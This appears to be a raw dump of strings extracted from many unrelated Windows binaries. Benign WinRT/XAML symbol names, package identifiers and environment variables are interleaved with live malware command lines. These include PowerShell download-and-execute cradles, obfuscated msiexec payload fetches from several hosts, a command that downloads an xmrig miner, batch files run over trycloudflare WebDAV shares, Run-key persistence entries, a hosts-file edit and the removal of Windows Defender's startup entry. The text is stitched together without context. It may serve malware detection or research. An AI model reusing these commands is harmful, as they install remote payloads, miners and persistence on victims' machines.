.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
\AppData\Roaming\Microsoft\Windows\Start Menu\P
Windows.Storage.dll
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
set golos=91.193.194.145attrib -h -r %windir%%drapka%hos%lewro%set drapka=\system32\drivers\etc\echo 127.0.0.1 localhost >> %windir%%drapka%h
Shell32::SHChangeNotify(i 0x8000000, i 0, i 0, i 0)SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\360http://www.pp1234.net/http://www.my8899.com/0x133ec20
software\microsoft\windows nt\currentversion\svchost
WindowsCreateStringReference
WindowsDeleteString
WindowsCreateString
WindowsDuplicateString
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsSubstringWithSpecifiedLength
Start the shelled application:CreateProcessA(0&, Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('https://filebin.net/
MdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\machine.pckgdep
WindowsForms10.STATIC.app.0.129c866_r7_ad1
sn1.exec:\windows\system32\boby.exe
\windows\system32\migwiz\sfcbn.dat
\windows\system32\migwiz\sfcml.dat
\windows\microsoft.net\framework\v2.0.50727\asp.netwebadminfiles\images\aspdotnet_logo.gif
\windows\microsoft.net\framework\v2.0.50727\asp.netwebadminfiles\images\aspdotnet_logo_small.gif
Microsoft.Windows.Security.TokenBinding
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
=ping -n 5 127.0.0.1c:\windows\system32\wbem\
C:\WINDOWS\SYSTEM32\
\windows\currentversion\runH
jc:\windows\system32\cmd.exe/c"netuseq:https://webdav.4shared.com
="%systemroot%\syswow64\windowspowershell\v1.0\powershell.exe""%systemroot%\syswow64\windowspowershell\v1.0\powershell.exe"-executionpolicybypass-file""exit::
      <Color Name="ToolWindowShelf">
y=""windowstate="minimized"
WINDOWS\system32\config
=C:\Windows\S
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WinlogonHandlePendingInfOperations
Windows PowerS
WindowsSubstringWithSpecifiedLength
DriverData=C:\Windows\System32\Drivers\DriverData
<cmd.exescan/v/r^s^t^art^msiex^ecod^b^uk=p^w^f/^fv"http://a0.pm:8080/bnyr8yyfgkqxl0evqh2gaah3kt6klkd/wvz5oh/!computername!"^cy^f^c=s^p^c^t/qv^bl^se=^af^j^ffp^o^a%windir%\system32\shell32.dll%
cmd.exe/v/rst^a^r^tm^si^e^xecfw^s^u^c^p=va^dgw^vt^vc-^quie^tk^nzll^msg=^u^g^iy^u-^fv"http://3z.nu:8080/bxbdij4tj/nnyqygc9d6sk5eqbqpwzsghnwi/lhxc/!computername!"%windir%\system32\shell32.dll%
c:\windows\system32\cmd.exeloketu/rst^art^ms^iexecwdy=cx^hk^f-^q^n-^packa^ge"http://2t.pm:8080/axye9bxfejkx/suzk/myhocvkeetjyeye/%computername%"!%systemroot%\system32\shell32.dll%systemroot%
	pQx|c:\windows\system32\cmd.executting~/q/e/v/r^s^tar^tm^s^i^exe^c/^fv"http://q0.wf:8080/yyyep/pdryiwmc/lpyppenbnqkrnylgtlzpyv/!computername!"^w^r^z^d=z^cyc-^q!%systemroot%\system32\shell32.dll%
Vc:\windows\system32\cmd.exesoftwares/d/q/v/cs^t^ar^t^ms^ie^xe^c^w^gu=hbxx^h/q^n^m^y^v^f^x^mq^x=z^b^z/p^a^ckag^e"http://2t.wf:8080/bkyvnjnr25pjfdpv4ihrwhibuflesiu2/!computername!"shell32.dll%
\windows\system32\cmd.exe/xxh/rsta^r^t^ms^i^e^x^e^c^j^ir^c^l^j^tss=yn^agj^e-f^v"http://3z.nu:8080/ahaiuyobhreyyecxvtupddxwdpkz1dpm/%computername%"^jf^sgj=nhxs^s^g-qu^ie^tw^n=c^q^mshell32.dll
c:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/prior
GetWindowsAccountDomainSid
.?AU__I?$IteratorForVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AU?$IIterator@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$IteratorForVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Details@Collections@Platform@@
.?AV?$VectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__I?$VectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AU?$IIterator@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__I?$Array@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AU?$IBoxArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00@Platform@@
.?AV?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00@Platform@@
.?AU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
!Stoder@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@USettingsExpander@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@USettingsExpander@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@USettingsExpander@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base@USettingsExpander@implementation@TaskManagerApp@winrt@@UContentControl@Controls@Xaml@UI@Windows@4@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IControlOverridesT@USettingsExpander@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IContentControlOverridesT@USettingsExpander@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControl@Controls@Xaml@UI@Windows@4@UIContentControl2@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
WindowsCompareStringOrdinal
WindowsGetStringLen
f*['win32','win64','windows','wince']
3ac:\windows\system32\sqlsodbc.chmvirut~foobarfoobarg
Bangantivirus09\programs\angantivirus09\angantivirus09.lnk\angantivirus09.lnkangpd.xmlsoftware\microsoft\windows\currentversion\run
paiddatehkey_current_user\software\angantivirus09_readreg_binary\commonfiles\system\mgnc\commonfiles\system\mgnc\wsd.exesoftware\microsoft\windows\currentversion\runonce
currentversion\terminal server\install\software\microsoft\windowsrevived
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
INDOWS\SYSTEM32\WMSDMOE2.DLL>C:\W!
8WINDOWS\SYSTEM32\UNKNOWNDLL.DLL
WindowsRuntime 1.4
Minimize windows when a monitor is disconnectedj
Croeso i Windows
n newydd yn Windows
Beth sy'n newydd yn Windows?
Microsoft.Windows.Widgets
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.Feeds.Hosts
Microsoft.Windows.Widgets.Feeds.Providers
Microsoft.Windows.Widgets.Hosts
c:\windows\
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
pNcmd.exe/cstart/b%systemroot%\system32\mshtahttps://bit.ly/
Windows::Compat::Ids::IdsReModel::Analyze
Windows::Compat::Ids::IdsReModel::Notify
Windows::Compat::Ids::IdsOneSettings::ParseEvent
Windows::Compat::Ids::IdsOneSettings::ParseSettings
Windows::Compat::Ids::IdsOneSettings::ParseModule
Windows::Compat::Ids::IdsOneSettings::GetVersion
Windows::Compat::Ids::IdsOneSettings::GetOneSettingsHelper
Windows::Compat::Ids::IdsOneSettings::GetOneSettings
Windows::Compat::Ids::IdsSdbSettings::ParseModel
Windows::Compat::Ids::IdsSdbSettings::GetSdbSettings
Windows::Compat::Ids::IdsSdbSettings::GetVersion
Windows::Compat::Ids::IdsEtwEvent::Initialize
Windows::Compat::Ids::IdsEtwEvent::Notify
Windows::Compat::Ids::IdsEtwEvent::Subscribe
\windowsnt\currentversion
\system32\*
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Produc'
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
shellcommon\shell\Windows.UI.Shell\StartDocked\Model\GlobalStartData.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AllAppsViewModel.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\NonCXCode\GetTextForCurrentKey.cpp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
rundll32.exe c:\windows\system32\advpack.dll,delnoderundll32 "c:\temp\ixp
music\cia.plan/c reg add hkcu\software\microsoft\windows\currentversion\run /v tencentid /t reg_sz /d "rundll32.exe\users\public\music\sidebar.dllcia-don't analyzecia-asiapacificstrategy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\usersetupprivacymanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\userstatemigrationmanager.cpp
{shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\UserStateMigrationCallback.h
>System.Windows.Forms.Design.DataSourceConverter, System.Design
?System.Windows.Forms.Design.DataMemberListEditor, System.DesignuSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
U~System.Windows.Forms.AutoCompleteMode, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Windows.Forms.ImageKeyConverter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
~System.Windows.Forms.Design.ImageIndexEditor, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
UxSystem.Windows.Forms.CheckState, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
")o1.Run "C:\windows\Temp\ssg.exe"Set o1S
Software\Microsoft\Windows\CurrentVersion\Run
powershell-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://eiscoaqscm.com/bomla'))
powershell-windowstylehidden-command"invoke-webrequest-uri'http://45.204.214.219:1230/xmrig.exe'
sSOFTWARE\Microsoft\Windows\CurrentV4
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsDuplicateString
WindowsCreateStringReference
WindowsCompareStringOrdinal
WindowsConcatString
WindowsSubstringWithSpecifiedLength
="c:\windows\temp\
Microsoft.Windows.Desktop.Shell.ImmersiveIcons
Microsoft.Windows.Shell.DelayAllocateTLS
Windows.Internal.Shell.Broker.pdb
Windows
,MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
1MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI
\windows\(
\windowsnt\
"http://34.246.194.241/download1&&start"""%appdata%\microsoft\windows\startmenu\
^c:\windows\system32\cmd.exe/crobocopy"\\contractor-ind-fear-tone.trycloudflare.com@ssl\davwwwroot\re_28wsf"%temp%bmw.wsf/ns/nc/nfl/ndl>nul&start/min
windows\system32\cmd.exec:\windows\system32
@/back.txt"-o"%tmp%/back.bat"&cmd/c"%tmp%/back.bat"c:\windows\system32\imageres.dll
cc:\windows\system32\windowspowershell\v1.0\powershell.exe-wh-c"iex'&\\falling-switzerland-method-sandra.trycloudflare.com@ssl\davwwwroot\tots.bat'"
68^com.microsoft.windows.extensionpackage
69^com.microsoft.windows.extensions.xaml.textinput
 TreeView_Windows_Help_Expand.gif	image/gif
"TreeView_Windows_Help_Collapse.gif	image/gif
"TreeView_Windows_Help_NoExpand.gif	image/gif
Microsoft.Windows.Capture.Photography
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
objReg.SetStringValue(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run","SystemIn_1","%s")
	Root=C:\WINDOWS
Microsoft.Windows.Desktop.TextInput.InputSwitch
Microsoft.Windows.Audio.KernelStreamingEndpoint
Microsoft.Windows.ProcessStateManager.AppLibrary
Microsoft.Windows.Update.Undocked.FailoverEventAggregator
Microsoft.Windows.Shell.Desktop.UserLogonTelemetry
Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' family*
wow64_microsoft-windows-uianimation_31bf3856ad364e35_none_fc503b7713a2b2cd
wow64_microsoft-windows-unimodem-voice_31bf3856ad364e35_none_9cb618a7c1f3e854
wow64_microsoft-windows-unix-socket-provider_31bf3856ad364e35_none_b16d845a23c2b84b
wow64_microsoft-windows-unix-winsock-provider_31bf3856ad364e35_none_6e4ee345d8cccc7c
wow64_microsoft-windows-update-orchestratorapi_31bf3856ad364e35_none_c0d8a227df1fcb8b
wow64_microsoft-windows-update-uus-core_31bf3856ad364e35_none_7e2cb572928b496c
wow64_microsoft-windows-update-uus-desktop_31bf3856ad364e35_none_74f8e0d06f0126b1
wow64_microsoft-windows-update-uus-stable_31bf3856ad364e35_none_5f35e3b4147740e2
wow64_microsoft-windows-update-winrt_31bf3856ad364e35_none_0b32bc2e1fc65f8f
@Security@Windows@@@Found
@Security@Internal@Windows@@@Found'
Microsoft-Windows-CoreSystem-DXG-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CoreSystem-DXG-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Software\Microsoft\Windows\langstilket\Uninstall\LsningsmetodensS
Microsoft.Windows.Compatibility.Luafv
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Containers.Wcifs
onecoreuap\windows\core\color\colorshimlib\legacycolorshim.cxx
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Sending last winlogon notification
CTSSession::OnWinlogonCreate
CTSSession::OnWinlogonTerminate
_windowsTemporaryMessageShown
QWindowStateChangeEvent
onecore\windows\directx\dxcore\dll\dxcore.cpp
onecore\windows\directx\dxcore\dll\dxcore-win.cpp
Microsoft.Windows.Graphics.DXCore
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
api-ms-win-core-windowserrorreporting-l1-1-0.dll
ext-ms-win-ntuser-windowstation-l1-1-0.dll
login.windows.net
sts.windows.net
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
c:\windows\system32\
c:\windows\
a}regdelete"hklm\software\microsoft\windows\currentversion\explorer\startupapproved\run"/v"windowsdefender
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
&WINDOWS\system32\cmd.exe
?eventAccepted@QWindowSystemInterfacePrivate@@2VQAtomicInt@@A
?eventHandler@QWindowSystemInterfacePrivate@@2PEAVQWindowSystemEventHandler@@EA
?eventTime@QWindowSystemInterfacePrivate@@2VQElapsedTimer@@A
?eventsFlushed@QWindowSystemInterfacePrivate@@2VQWaitCondition@@A
c:\windows\system32\mshta
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal'
Microsoft.Windows.Security.CAPI
Microsoft.Windows.TlgAggregateInternal
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"$buxf=&who
#c:\windows\system32\windowspowershell\v1.0\powershell.exe-wh-c"iex'&\\yang-not-basically-loading.trycloudflare.com@ssl\davwwwroot\new.bat'"
!#S.?AU?$produce@Uargs@?$observable_vector_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@Ucomposing@4@@winrt@@
.?AU?$producers_base@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@USettingsGroupViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@Ucomposing@4@@impl@winrt@@
.?AU?$require@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@UIDependencyObject2@6784@@impl@winrt@@
.?AU?$require_one@USettingsGroupViewModel@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
